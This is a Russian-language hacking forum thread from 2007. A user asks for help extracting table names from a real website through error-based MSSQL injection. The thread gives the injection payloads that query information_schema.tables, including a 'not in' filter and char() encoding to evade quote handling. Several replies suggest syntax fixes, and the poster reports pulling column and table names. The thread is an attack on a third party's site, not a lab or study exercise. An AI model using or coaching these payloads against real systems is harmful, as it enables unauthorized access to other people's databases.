[Microsoft][ODBC SQL Server Driver]

Discussion in 'Уязвимости' started by sh-smoker, 14 Jan 2007.

  1. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Хай.
    Короче есть проблема которую нужно решить ;)
    Существует сайт.
    На сайте инъекция (MSSQL)
    При запросе такого вида:
    ===============================
    -1+select+top+1+table_name+from+information_schema.tables
    ===============================

    В ошибке выводится имя таблицы:
    ===============================
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Products' to a column of data type int
    ===============================

    Одна таблица есть, пробую вытащить имя второй таблицы таким запросом:
    ===============================
    select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('Products')
    ===============================

    На что сервак мне отвечает:
    ===============================
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 6: Incorrect syntax near 'Products'
    ===============================

    На многих серваках этот приём срабатывал.....
    Ошибка синтаксиса, хмм..
    В чем же она заключается???
     
  2. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    после in пробел есть?
     
  3. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    угу
     
  4. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    мб забыл -- поставить?
     
    _________________________
    1 person likes this.
  5. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    нет, комент там и не нужен все ок
    Может есть какиенить альтернативы по перебору колонок?
     
  6. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    попробуй скобки убрать, т.е. просто table_name+not+in+'Products'
     
  7. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Спасибо попробую
     
  8. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Попробовал, вот что мне вылезло:
    ============================
    Incorrect syntax near ''
    ============================
    :(
     
  9. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Решение - кинь ссылку, вторую теу уже создаешь )
     
  10. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    хм интересено, если 'Products' перевести в вид "char(....)"
    типа :

    ================================
    select+top+1+table_name+from+information_schema.tables+where+table_name+not+in(char(....))
    ================================
     
    #10 sh-smoker, 14 Jan 2007
    Last edited: 14 Jan 2007
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    я те аналог в предыдушей теме приводил.
     
  12. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    В том что ты привел используются кавычки, на которые соответственно серв ругается.........
     
  13. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Ну раз свежих идей больше нету, то придется самому копать......
     
  14. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Колонки успешно вытянул методом с ordinal_position
    А для вытягивания имён таблиц что юзать?
     
  15. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Таблицы получены.